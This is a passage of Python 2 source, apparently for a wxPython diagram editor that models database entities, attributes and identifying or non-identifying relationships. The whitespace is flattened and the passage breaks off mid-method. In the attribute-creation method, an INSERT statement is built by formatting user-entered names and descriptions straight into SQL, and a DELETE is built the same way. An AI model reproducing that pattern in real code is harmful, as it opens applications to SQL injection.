self.data["longitud"] = longitud self.data["primario"] = str2bool(primario) self.data["autoIncremento"] = False self.data["notNull"] = str2bool(notNull) self.data["foranea"] = str2bool(foranea) def CrearAtributo (self, canvas, entidad, contador): dc = wx.ClientDC(canvas) self.nombre = self.data.get("nombreAtributo") self.clavePrimaria = self.data.get("primario") self.tipo = self.data.get("tipoDeAtributo") self.descripcion = self.data.get("descripcion") self.nombreColumna = self.data.get("nombreColumna") self.longitud = self.data.get("longitud") self.autoIncremento = self.data.get("autoIncremento") self.notNull = self.data.get("notNull") self.entidad = entidad self.id_atributo = contador self.id_entidad = entidad.id_entidad entidad.atributos.append(self) a = entidad.nombreForma.GetWidth() b = entidad.nombreForma.GetHeight() b += 18 entidad.nombreForma.SetSize(a, b) a = entidad.atributosForma.GetWidth() b = entidad.atributosForma.GetHeight() b += 18 entidad.atributosForma.SetSize(a, b) self.ModificarAtributosForma(dc, entidad) c = entidad.frame.GetActiveChild().conexion.cursor() c.execute("INSERT INTO atributo VALUES ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (self.id_atributo, entidad.id_entidad, self.nombre, self.nombreColumna, self.descripcion, self.tipo, self.longitud, self.clavePrimaria, self.claveForanea, self.notNull)) c.close() entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Id: " + str(self.id_atributo), "Crear Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Nombre: " + self.nombre, "Crear Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Nombre Columna: " + self.nombre, "Crear Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Descripcion: " + self.descripcion, "Crear Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Tipo: " + self.tipo, "Crear Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Longitud: " + str(self.longitud), "Crear Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Clave Primaria: " + str(self.clavePrimaria), "Crear Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Clave Foranea: " + str(self.claveForanea), "Crear Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "No Nulo: " + str(self.notNull), "Crear Atributo") entidad.frame.GetActiveChild().conexion.commit() self.tree = entidad.frame.GetActiveChild().tree.AppendItem(entidad.treeAtri, self.nombre, image = entidad.frame.GetActiveChild().imgAtr, data = wx.TreeItemData(self)) def DlgModificarAtributo(self, canvas, entidad): lst = [] for atributo in entidad.atributos: lst.append(atributo.nombre) dlg = wx.SingleChoiceDialog(canvas.frame, canvas.frame.parent.Idioma("What attribute you want to change?"), canvas.frame.parent.Idioma("%s Entity") % entidad.nombre, lst) if dlg.ShowModal() == wx.ID_OK: response = dlg.GetStringSelection() for atributo in entidad.atributos: if atributo.nombre == response: self.ModificarAtributo(canvas, entidad, atributo) def ModificarAtributo(self, canvas, entidad, atributoModificar): dc = wx.ClientDC(canvas) dlg = Dialogos(canvas.frame, canvas.frame.parent.Idioma("Attribute")) dlg.Atributo(atributoModificar.data) if dlg.ShowModal() == wx.ID_OK: for atributo2 in entidad.atributos: if atributo2.nombre == atributoModificar.data.get("nombreAtributo") and atributoModificar.data.get("nombreAtributo") != atributoModificar.nombre: validar = atributoModificar.ValidarNombreAtributo(canvas.frame, entidad.atributos) if validar == False: #atributoModificar.data["nombreAtributo"] = listaAtributos.nombre return 0 atributoModificar.nombre = atributoModificar.data.get("nombreAtributo") atributoModificar.clavePrimaria = atributoModificar.data.get("primario") atributoModificar.tipo = atributoModificar.data.get("tipoDeAtributo") atributoModificar.descripcion = atributoModificar.data.get("descripcion") atributoModificar.nombreColumna = atributoModificar.data.get("nombreColumna") atributoModificar.longitud = atributoModificar.data.get("longitud") atributoModificar.autoIncremento = atributoModificar.data.get("autoIncremento") atributoModificar.notNull = atributoModificar.data.get("notNull") c = entidad.frame.GetActiveChild().conexion.cursor() c.execute("UPDATE atributo SET nombre = ?, nom_colum = ?, descripcion = ?, tipo_dato = ?, long_dato = ?, cla_prima = ?, cla_fore = ?, atri_n_null = ? WHERE id = ? AND id_entidad = ?", (atributoModificar.nombre, atributoModificar.nombreColumna, atributoModificar.descripcion, atributoModificar.tipo, atributoModificar.longitud, atributoModificar.clavePrimaria, atributoModificar.claveForanea, atributoModificar.notNull, atributoModificar.id_atributo, atributoModificar.id_entidad)) c.close() entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Id: " + str(atributoModificar.id_atributo), "Modificar Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Nombre: " + atributoModificar.nombre, "Modificar Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Nombre Columna: " + atributoModificar.nombre, "Modificar Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Descripcion: " + atributoModificar.descripcion, "Modificar Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Tipo: " + atributoModificar.tipo, "Modificar Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Longitud: " + str(atributoModificar.longitud), "Modificar Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Clave Primaria: " + str(atributoModificar.clavePrimaria), "Modificar Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Clave Foranea: " + str(atributoModificar.claveForanea), "Modificar Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "No Nulo: " + str(atributoModificar.notNull), "Modificar Atributo") entidad.frame.GetActiveChild().tree.SetItemText(atributoModificar.tree, atributoModificar.nombre) if atributoModificar.claveForanea == True: for atributo4 in entidad.atributos: if atributo4.claveForanea == True: atributo4.clavePrimaria = atributoModificar.data.get("primario") self.ModificarAtributosForma(dc, entidad) for entidadHija in entidad.entidadesHijas: entidadHija.ModificarAtributosHeredados(dc, atributoModificar) def DlgEliminarAtributo(self, canvas, entidad): lst = [] for elemento in entidad.atributos: lst.append(elemento.nombre) dlg = wx.SingleChoiceDialog(canvas.frame, canvas.frame.parent.Idioma("What attribute you want to delete?"), canvas.frame.parent.Idioma("%s Entity") % entidad.nombre, lst) if dlg.ShowModal() == wx.ID_OK: response = dlg.GetStringSelection() for elemento in entidad.atributos: if elemento.nombre == response: if elemento.claveForanea == True: dial = wx.MessageDialog(canvas.frame, canvas.frame.parent.Idioma(archivo[ATRIBUTO_ELIMINAR_ERROR]) % elemento.nombre, 'Error', wx.OK | wx.ICON_ERROR) dial.ShowModal() return dlg = wx.MessageDialog(canvas.frame, canvas.frame.parent.Idioma("Want to remove the attribute %s") % elemento.nombre, canvas.frame.parent.Idioma("Delete Attribute %s") % elemento.nombre, wx.YES_NO | wx.ICON_QUESTION) if dlg.ShowModal() == wx.ID_YES: self.EliminarAtributo(canvas, entidad, elemento) def EliminarAtributo(self, canvas, entidad, atributoEliminar, relacion = 0, continuaDesdeAnterior = 1): try: dc = wx.ClientDC(canvas) entidad.atributos.remove(atributoEliminar) a = entidad.nombreForma.GetWidth() b = entidad.nombreForma.GetHeight() b -= 18 entidad.nombreForma.SetSize(a, b) a = entidad.atributosForma.GetWidth() b = entidad.atributosForma.GetHeight() b -= 18 entidad.atributosForma.SetSize(a, b) c = entidad.frame.GetActiveChild().conexion.cursor() c.execute("DELETE FROM atributo WHERE id = ? AND id_entidad = ?", (atributoEliminar.id_atributo, atributoEliminar.id_entidad)) c.close() entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Id Atributo: " + str(atributoEliminar.id_atributo), "Eliminar Atributo") entidad.frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Atributo: " + "Id Entidad: " + str(atributoEliminar.id_entidad), "Eliminar Atributo") entidad.frame.GetActiveChild().tree.Delete(atributoEliminar.tree) self.ModificarAtributosForma(dc, entidad) for entidadHija in entidad.entidadesHijas: for atributo in entidadHija.atributos: continuarEnProximo = 1 relacionEditar = 0 if relacion: if relacion.tipoRelacion == "No-Identificadora": continuarEnProximo = 0 try: for relacionHija in entidadHija.relaciones: if relacionHija.entidadPadre.nombre == entidad.nombre and relacionHija.entidadHija.nombre == entidadHija.nombre: relacionEditar = relacionHija if relacionHija.tipoRelacion == "No-Identificadora": continuarEnProximo = 0 except: pass if atributo.nombre == atributoEliminar.nombre and atributo.claveForanea == True and continuaDesdeAnterior: self.EliminarAtributo(canvas, entidadHija, atributo, relacionEditar, continuarEnProximo) except: pass def ValidarNombreAtributo(self, frame, entidades): dial = wx.MessageDialog(frame, "Nombre del Atributo %s exite!" % self.data.get("nombreAtributo"), 'Error', wx.OK | wx.ICON_ERROR) dial.ShowModal() dlg = Dialogos(frame, frame.parent.Idioma("Attribute")) dlg.Atributo(self.data) if dlg.ShowModal() == wx.ID_OK: for elemento in entidades: if elemento.nombre == self.data.get("nombreAtributo") and self.data.get("nombreAtributo") != self.nombre: validar = self.ValidarNombreAtributo(frame, entidades) if validar == False: return False else: return False def ModificarAtributosForma(self, dc, entidad): escribirPrimari = "" escribirNoPrimari = "" mover = 0 moverPrimari = 0 moverNoPrimari = 0 for elemento in entidad.atributos: sumar = 0 mover +=1 if elemento.clavePrimaria == True: escribirPrimari += elemento.nombre if elemento.claveForanea == True: escribirPrimari += " (FK)" sumar += 5 escribirPrimari += "\n" moverPrimari +=1 else: escribirNoPrimari += elemento.nombre if elemento.claveForanea == True: escribirNoPrimari += " (FK)" sumar +=5 escribirNoPrimari += "\n" moverNoPrimari +=1 if entidad.nLetras < (len(elemento.nombre) + sumar): valor = (len(elemento.nombre) + sumar + 1) * 8.8 a = entidad.nombreForma.GetWidth() b = entidad.nombreForma.GetHeight() a = valor entidad.nombreForma.SetSize(a, b) a = entidad.atributosForma.GetWidth() b = entidad.atributosForma.GetHeight() a = valor entidad.atributosForma.SetSize(a, b) entidad.nLetras = len(elemento.nombre) entidad.atributosForma.FormatText(dc, escribirPrimari, 0) entidad.atributosForma.FormatText(dc, escribirNoPrimari, 1) if mover != 0: mover = 1.00 / (mover + 1) moverPrimari = mover * moverPrimari moverNoPrimari = mover * moverNoPrimari mover = mover / 2 if moverPrimari == 0: moverPrimari = 1.00 - moverNoPrimari entidad.atributosForma._regions[0].SetProportions(0, moverPrimari) else: if moverNoPrimari != 0: moverPrimari += mover entidad.atributosForma._regions[0].SetProportions(0, moverPrimari) entidad.atributosForma._regions[1].SetProportions(0, moverNoPrimari) else: entidad.atributosForma._regions[0].SetProportions(0, 0.50) entidad.atributosForma._regions[1].SetProportions(0, 0.50) class Relacion(ogl.LineShape): def __init__(self, padre = "", hijo = "", tipoDeRelacion = "", cardinalidad = 0, cardinalidadExacta = 0): ogl.LineShape.__init__(self) self.entidadPadre = "" self.entidadHija = "" self.atributosHeredados = [] self.tipoRelacion = tipoDeRelacion self.cadinalidad = cardinalidad self.cardinalidadExacta = cardinalidadExacta self.data = {} self.data["padre"] = padre self.data["hijo"] = hijo self.data["tipoDeRelacion"] = tipoDeRelacion self.data["cardinalidad"] = cardinalidad self.data["cardinalidadExacta"] = cardinalidadExacta """ Cardinalidad: Cero, uno o mas = 0 Uno o mas (P) = 1 Cero o uno (Z) = 2 Exactamente = 3 """ def DlgCrearRelacion(self, frame, canvas, entidades): nombreEntidades = [] for entidad in entidades: nombreEntidades.append(entidad.nombre) self.data["nombreEntidades"] = nombreEntidades dlg = Dialogos(frame, frame.Idioma("Relationship")) dlg.Relacion(self.data) if dlg.ShowModal() == wx.ID_OK: entidadPadre = Entidad() entidadPadre.nombre = self.data["padre"] entidadHija = Entidad() entidadHija.nombre = self.data["hijo"] self.cadinalidad = self.data["cardinalidad"] self.cardinalidadExacta = self.data["cardinalidadExacta"] self.CrearRelacion(frame, canvas, entidadPadre, entidadHija, self.data["tipoDeRelacion"], entidades, self.data["cardinalidad"], self.data["cardinalidadExacta"]) frame.GetActiveChild().contadorRelacion += 1 def CrearRelacion(self, frame, canvas, entidadPadre, entidadHija, tipoRelacion, entidades, cardinalidad = 0, cardinalidadExacta = 0, id = -1, directo = 1): if directo and (entidadPadre.nombre == entidadHija.nombre or self.ComprobarRecursividad(entidades, entidadHija, entidadPadre, buscar = 1)): dial = wx.MessageDialog(frame, 'No se puede crear una Relacion Identificadora Recursiva.\nDesea crear una relacion No-Identificadora?', 'Alerta', style=wx.OK | wx.CANCEL, pos=wx.DefaultPosition) if dial.ShowModal() == wx.ID_OK: tipoRelacion = 'No-Identificadora' else: return 0 self.frame = frame self.SetCanvas(canvas) self.entidadPadre = entidadPadre self.entidadHija = entidadHija self.tipoRelacion = tipoRelacion self.cardinalidad = cardinalidad self.cardinalidadExacta = cardinalidadExacta self.data["cardinalidad"] = cardinalidad self.data["cardinalidadExacta"] = cardinalidadExacta if id == -1: self.id_relacion = frame.GetActiveChild().contadorRelacion else: self.id_relacion = id self.nombre = "rela" + str(self.id_relacion) if self.tipoRelacion == "Identificadora": self.SetPen(wx.BLACK_PEN) self.SetBrush(wx.BLACK_BRUSH) self.AddArrow(ogl.ARROW_FILLED_CIRCLE, end=0) self.MakeLineControlPoints(2) for padre in entidades: if padre.nombre == self.entidadPadre.nombre: for hija in entidades: if hija.nombre == self.entidadHija.nombre: hija.entidadesPadres.append(padre) padre.entidadesHijas.append(hija) hija.relaciones.append(self) hija.nombreForma.AddLine(self, padre.nombreForma) hija.TipoDeEntidad(canvas) hija.HeredarAtributos(padre, 1) c = frame.GetActiveChild().conexion.cursor() c.execute("INSERT INTO relacion VALUES ( ?, ?, ?, ?)", (self.id_relacion, padre.id_entidad, hija.id_entidad, self.data["tipoDeRelacion"])) frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Id Relacion: " + str(self.id_relacion), "Crear Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Id Relacion Padre: " + str(padre.id_entidad), "Crear Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Id Relacion Hija: " + str(hija.id_entidad), "Crear Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Tipo de Relacion: " + self.data["tipoDeRelacion"], "Crear Relacion") c.close() frame.GetActiveChild().conexion.commit() self.tree = frame.GetActiveChild().tree.AppendItem(self.frame.GetActiveChild().treeRela, self.nombre, image = self.frame.GetActiveChild().imgRel, data = wx.TreeItemData(self)) elif self.tipoRelacion == "No-Identificadora": self.SetPen(wx.Pen(wx.BLACK,1, wx.SHORT_DASH))#wx.DOT_DASH))#wx.LONG_DASH))# self.SetBrush(wx.BLACK_BRUSH) self.AddArrow(ogl.ARROW_FILLED_CIRCLE, end=0) self.MakeLineControlPoints(2) for padre in entidades: if padre.nombre == self.entidadPadre.nombre: for hija in entidades: if hija.nombre == self.entidadHija.nombre: hija.entidadesPadres.append(padre) padre.entidadesHijas.append(hija) hija.relaciones.append(self) hija.nombreForma.AddLine(self, padre.nombreForma) hija.TipoDeEntidad(canvas) hija.HeredarAtributos(padre) c = frame.GetActiveChild().conexion.cursor() c.execute("INSERT INTO relacion VALUES ( ?, ?, ?, ?)", (self.id_relacion, padre.id_entidad, hija.id_entidad, self.data["tipoDeRelacion"])) frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Id Relacion: " + str(self.id_relacion), "Crear Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Id Relacion Padre: " + str(padre.id_entidad), "Crear Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Id Relacion Hija: " + str(hija.id_entidad), "Crear Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Tipo de Relacion: " + self.data["tipoDeRelacion"], "Crear Relacion") c.close() frame.GetActiveChild().conexion.commit() self.tree = frame.GetActiveChild().tree.AppendItem(self.frame.GetActiveChild().treeRela, self.nombre, image = self.frame.GetActiveChild().imgRel, data = wx.TreeItemData(self)) else: print "No existe desarrollada la relacion" self.evthandler = MyEvtHandler() self.evthandler.SetShape(self) self.evthandler.SetPreviousHandler(self.GetEventHandler()) self.SetEventHandler(self.evthandler) canvas.AddShape(self) self.Show(1) region = ogl.ShapeRegion() self.AddRegion(region) self.OnCardinalidad() self._regions[1].SetPosition(0, 20) frame.GetActiveChild().relaciones.append(self) def OnCardinalidad(self): cardinalidad = ["", "P", "Z", str(self.cardinalidadExacta)] if self.frame.menuVerCard.IsChecked(): self._regions[1].SetSize(12 * len(cardinalidad[self.cardinalidad]), 12) self.FormatText(wx.ClientDC(self.GetCanvas()), cardinalidad[self.cardinalidad], 1) else: self.FormatText(wx.ClientDC(self.GetCanvas()), "", 1) def DrawRegion(self, dc, region, x, y): """Format one region at this position.""" if self.GetDisableLabel(): return w, h = region.GetSize() # Get offset from x, y xx, yy = region.GetPosition() xp = xx + x yp = yy + y # First, clear a rectangle for the text IF there is any if len(region.GetFormattedText()): dc.SetPen(self.GetBackgroundPen()) dc.SetBrush(self.GetBackgroundBrush()) # Now draw the text if region.GetFont(): dc.SetFont(region.GetFont()) #Comentado para que solo se muestre una letra #dc.DrawRectangle(xp - w / 2.0, yp - h / 2.0, w, h) if self._pen: dc.SetPen(self._pen) dc.SetTextForeground(region.GetActualColourObject()) self.DrawFormattedText(dc, region.GetFormattedText(), xp, yp, w, h, region.GetFormatMode()) def DrawFormattedText(self, dc, text_list, xpos, ypos, width, height, formatMode): if formatMode & 1: xoffset = xpos else: xoffset = xpos - width / 2.0 if formatMode & 2: yoffset = ypos else: yoffset = ypos - height / 2.0 for line in text_list: dc.DrawText(line.GetText(), xoffset + line.GetX(), yoffset + line.GetY()) def Select(self, select, dc = None): ogl.Shape.Select(self, select, dc) if select: for i in range(3): if self._regions[i]: if self._regions[i].GetText() == '': region = self._regions[i] if region._formattedText: w, h = region.GetSize() x, y = region.GetPosition() xx, yy = self.GetLabelPosition(i) if self._labelObjects[i]: self._labelObjects[i].Select(False) self._labelObjects[i].RemoveFromCanvas(self._canvas) self._labelObjects[i] = self.OnCreateLabelShape(self, region, w, h) self._labelObjects[i].AddToCanvas(self._canvas) self._labelObjects[i].Show(True) if dc: self._labelObjects[i].Move(dc, x + xx, y + yy) self._labelObjects[i].Select(True, dc) else: for i in range(3): if self._labelObjects[i]: self._labelObjects[i].Select(False, dc) self._labelObjects[i].Erase(dc) self._labelObjects[i].RemoveFromCanvas(self._canvas) self._labelObjects[i] = None def DlgModificarRelacion(self, relacion, frame, canvas, entidades): nombreEntidades = [] for elemento in entidades: nombreEntidades.append(elemento.nombre) relacion.data["nombreEntidades"] = nombreEntidades dlg = Dialogos(frame, frame.Idioma("Relationship")) dlg.Relacion(relacion.data) if dlg.ShowModal() == wx.ID_OK: self.ModificarRelacion(relacion, frame, canvas, entidades) def ModificarRelacion(self, relacion, frame, canvas, entidades ): if relacion.data["tipoDeRelacion"] != relacion.tipoRelacion or relacion.data["padre"] != relacion.entidadPadre or relacion.data["hijo"] != relacion.entidadHija: if relacion.data["tipoDeRelacion"] == "Identificadora": newRelacion = RelacionIdentificadora() entidadPadre = Entidad() entidadPadre.nombre = relacion.data["padre"] entidadHija = Entidad() entidadHija.nombre = relacion.data["hijo"] self.EliminarRelacion(relacion, canvas, frame.GetActiveChild(), entidades) if newRelacion.CrearRelacion(frame, canvas, entidadPadre, entidadHija, entidades, relacion.data["cardinalidad"], relacion.data["cardinalidadExacta"]): frame.GetActiveChild().contadorRelacion += 1 frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Entidad Padre: " + entidadPadre.nombre, "Modificar Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Entidad Hija: " + entidadHija.nombre, "Modificar Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Cardinalidad: " + str(relacion.data["cardinalidad"]), "Modificar Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Cardinalidad Exacta: " + str(relacion.data["cardinalidadExacta"]), "Modificar Relacion") else: canvas.Refresh() elif relacion.data["tipoDeRelacion"] == "No-Identificadora": newRelacion = RelacionNoIdentificadora() entidadPadre = Entidad() entidadPadre.nombre = relacion.data["padre"] entidadHija = Entidad() entidadHija.nombre = relacion.data["hijo"] self.EliminarRelacion(relacion, canvas, frame.GetActiveChild(), entidades) newRelacion.CrearRelacion(frame, canvas, entidadPadre, entidadHija, entidades, relacion.data["cardinalidad"], relacion.data["cardinalidadExacta"]) frame.GetActiveChild().contadorRelacion += 1 frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Entidad Padre: " + entidadPadre.nombre, "Modificar Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Entidad Hija: " + entidadHija.nombre, "Modificar Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Cardinalidad: " + str(relacion.data["cardinalidad"]), "Modificar Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Cardinalidad Exacta: " + str(relacion.data["cardinalidadExacta"]), "Modificar Relacion") else: print "En desarrollo." def EliminarRelacion(self, relacion, canvas, frame, entidades): if relacion.Selected(): dc = wx.ClientDC(canvas) relacion.Select(False, dc) canvas.Redraw(dc) for entidad in entidades: eliminar = [] if entidad.nombre == relacion.entidadHija.nombre: for atributo in entidad.atributos: for atributoHeredado in relacion.atributosHeredados: if atributo.nombre == atributoHeredado.nombre and atributo.claveForanea == True: eliminar.append(atributo) for elemento in eliminar: ejecute = Atributo() ejecute.EliminarAtributo(canvas, entidad, elemento, relacion, relacion.tipoRelacion != "No-Identificadora") entidad.relaciones.remove(relacion) entidad.TipoDeEntidad(canvas) for entidadPadre in entidad.entidadesPadres: if entidadPadre.nombre == relacion.entidadPadre.nombre: entidad.entidadesPadres.remove(entidadPadre) if entidad.nombre == relacion.entidadPadre.nombre: for entidadHija in entidad.entidadesHijas: if entidadHija.nombre == relacion.entidadHija.nombre: entidad.entidadesHijas.remove(entidadHija) relacion.Unlink() frame.relaciones.remove(relacion) frame.tree.Delete(relacion.tree) canvas.RemoveShape(relacion) canvas.Refresh() c = frame.conexion.cursor() c.execute("DELETE FROM relacion WHERE id = %s" % relacion.id_relacion) c.close() frame.log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Relacion: " + str(relacion.id_relacion), "Eliminar Relacion") frame.conexion.commit() def ComprobarRecursividad(self, entidades, entidadPadre, entidadHija, buscar = 0): if buscar: for padre in entidades: if padre.nombre == entidadPadre.nombre: for hija in entidades: if hija.nombre == entidadHija.nombre: entidadPadre = padre entidadHija = hija for padreEntidad in entidadHija.entidadesPadres: if padreEntidad.nombre == entidadPadre.nombre: for relacion in entidadHija.relaciones: if padreEntidad.nombre == relacion.entidadPadre.nombre: if relacion.tipoRelacion == "Identificadora": return 1 if self.ComprobarRecursividad(entidades, entidadPadre, padreEntidad): return 1 return 0 def GetTipoRelacion(self): return self.tipoRelacion class RelacionIdentificadora(Relacion): def __init__(self): Relacion.__init__(self) self.tipoRelacion = "Identificadora" def CrearRelacion (self, frame, canvas, entidadPadre, entidadHija, entidades, cardinalidad = 0, cardinalidadExacta = 0): if entidadPadre.nombre == entidadHija.nombre or self.ComprobarRecursividad(entidades, entidadHija, entidadPadre, buscar = 1): dial = wx.MessageDialog(frame, 'No se puede crear una Relacion Identificadora Recursiva.\nDesea crear una relacion No-Identificadora?', 'Alerta', style=wx.OK | wx.CANCEL, pos=wx.DefaultPosition) if dial.ShowModal() == wx.ID_OK: ejecute = RelacionNoIdentificadora() ejecute.CrearRelacion(frame, canvas, entidadPadre, entidadHija, entidades, cardinalidad, cardinalidadExacta) return 0 self.data["padre"] = entidadPadre.nombre self.data["hijo"] = entidadHija.nombre self.data["tipoDeRelacion"] = self.tipoRelacion self.data["cardinalidad"] = cardinalidad self.data["cardinalidadExacta"] = cardinalidadExacta self.frame = frame self.SetCanvas(canvas) self.id_relacion = frame.GetActiveChild().contadorRelacion self.nombre = "rela" + str(self.id_relacion) self.entidadPadre = entidadPadre self.entidadHija = entidadHija self.cardinalidad = cardinalidad self.cardinalidadExacta = cardinalidadExacta self.SetPen(wx.BLACK_PEN) self.SetBrush(wx.BLACK_BRUSH) self.AddArrow(ogl.ARROW_FILLED_CIRCLE, end=0) self.MakeLineControlPoints(2) for padre in entidades: if padre.nombre == self.entidadPadre.nombre: for hija in entidades: if hija.nombre == self.entidadHija.nombre: hija.entidadesPadres.append(padre) padre.entidadesHijas.append(hija) hija.relaciones.append(self) hija.nombreForma.AddLine(self, padre.nombreForma) hija.TipoDeEntidad(canvas) hija.HeredarAtributos(padre, 1) c = frame.GetActiveChild().conexion.cursor() c.execute("INSERT INTO relacion VALUES ( ?, ?, ?, ?)", (self.id_relacion, padre.id_entidad, hija.id_entidad, self.data["tipoDeRelacion"])) c.close() frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Id Relacion: " + str(self.id_relacion), "Crear Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Id Relacion Padre: " + str(padre.id_entidad), "Crear Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Id Relacion Hija: " + str(hija.id_entidad), "Crear Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Tipo de Relacion: " + self.data["tipoDeRelacion"], "Crear Relacion") frame.GetActiveChild().conexion.commit() self.tree = frame.GetActiveChild().tree.AppendItem(self.frame.GetActiveChild().treeRela, self.nombre, image = self.frame.GetActiveChild().imgRel, data = wx.TreeItemData(self)) self.evthandler = MyEvtHandler() self.evthandler.SetShape(self) self.evthandler.SetPreviousHandler(self.GetEventHandler()) self.SetEventHandler(self.evthandler) canvas.AddShape(self) self.Show(1) region = ogl.ShapeRegion() self.AddRegion(region) self.OnCardinalidad() self._regions[1].SetPosition(0, 20) frame.GetActiveChild().relaciones.append(self) return 1 class RelacionNoIdentificadora(Relacion): def __init__(self): Relacion.__init__(self) self.tipoRelacion = "No-Identificadora" def CrearRelacion (self, frame, canvas, entidadPadre, entidadHija, entidades, cardinalidad = 0, cardinalidadExacta = 0): self.data["padre"] = entidadPadre.nombre self.data["hijo"] = entidadHija.nombre self.data["tipoDeRelacion"] = self.tipoRelacion self.data["cardinalidad"] = cardinalidad self.data["cardinalidadExacta"] = cardinalidadExacta self.frame = frame self.SetCanvas(canvas) self.id_relacion = frame.GetActiveChild().contadorRelacion self.nombre = "rela" + str(self.id_relacion) self.entidadPadre = entidadPadre self.entidadHija = entidadHija self.cardinalidad = cardinalidad self.cardinalidadExacta = cardinalidadExacta self.SetPen(wx.Pen(wx.BLACK,1, wx.SHORT_DASH)) self.SetBrush(wx.BLACK_BRUSH) self.AddArrow(ogl.ARROW_FILLED_CIRCLE, end=0) self.MakeLineControlPoints(2) for padre in entidades: if padre.nombre == self.entidadPadre.nombre: for hija in entidades: if hija.nombre == self.entidadHija.nombre: hija.entidadesPadres.append(padre) padre.entidadesHijas.append(hija) hija.relaciones.append(self) hija.nombreForma.AddLine(self, padre.nombreForma) hija.TipoDeEntidad(canvas) hija.HeredarAtributos(padre) c = frame.GetActiveChild().conexion.cursor() c.execute("INSERT INTO relacion VALUES ( ?, ?, ?, ?)", (self.id_relacion, padre.id_entidad, hija.id_entidad, self.data["tipoDeRelacion"])) c.close() frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Id Relacion: " + str(self.id_relacion), "Crear Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Id Relacion Padre: " + str(padre.id_entidad), "Crear Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Id Relacion Hija: " + str(hija.id_entidad), "Crear Relacion") frame.GetActiveChild().log.ConstruirStringModelo(str(datetime.datetime.now()), "Relacion: " + "Tipo de Relacion: " + self.data["tipoDeRelacion"], "Crear Relacion") frame.GetActiveChild().conexion.commit() self.tree = frame.GetActiveChild().tree.AppendItem(self.frame.GetActiveChild().treeRela, self.nombre, image = self.frame.GetActiveChild().imgRel, data = wx.TreeItemData(self)) self.evthandler = MyEvtHandler() self.evthandler.SetShape(self) self.evthandler.SetPreviousHandler(self.GetEventHandler()) self.SetEventHandler(self.evthandler) canvas.AddShape(self) self.Show(1) region = ogl.ShapeRegion() self.AddRegion(region) self.OnCardinalidad() self._regions[1].SetPosition(0, 20) frame.GetActiveChild().relaciones.append(self) class MyEvtHandler(ogl.ShapeEvtHandler): # Overwrite the default event handler to implement some custom features. def __init__(self): ogl.ShapeEvtHandler.__init__(self) def OnLeftClick(self, x, y, keys = 0, 